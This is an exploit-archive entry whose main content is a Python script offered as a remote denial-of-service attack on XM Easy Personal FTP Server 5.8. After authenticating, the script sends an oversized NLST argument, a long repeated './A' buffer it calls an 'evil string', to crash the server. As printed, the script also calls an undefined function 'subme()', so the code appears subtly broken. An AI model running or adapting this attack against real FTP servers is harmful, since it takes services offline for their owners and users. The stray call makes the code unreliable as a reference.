XM Easy Personal FTP 5.8 DoS

2009-10-02T00:00:00
ID 1337DAY-ID-9554
Type zdt
Reporter Platen
Modified 2009-10-02T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            ============================
XM Easy Personal FTP 5.8 DoS
============================


# Title: XM Easy Personal FTP 5.8 DoS
# CVE-ID: ()
# OSVDB-ID: ()
# Author: PLATEN
# Published: 2009-10-02
# Verified: yes


view source
print?
#!/usr/bin/python
print "\n###############################################################"
print "##                  Iranian Pentesters Home                  ##"
print "## XM Easy Personal FTP Server 5.8 Remote Denial Of Service  ##"
print "## http://www.dxm2008.com/data/ftpserversetup.exe            ##"
print "## author: PLATEN                                            ##"
print "############################################################### \n"
import socket
import sys
 
def Usage():
    print ("Usage: ./expl.py <host> <Username> <password>\n")
buffer= "./A" * 6300
subme()
def start(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    sock.send("nlst %s\r\n" %buffer)
    sock.close()
 
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    start(hostname,username,passwd)
    sys.exit(0)



#  0day.today [2016-04-19]  #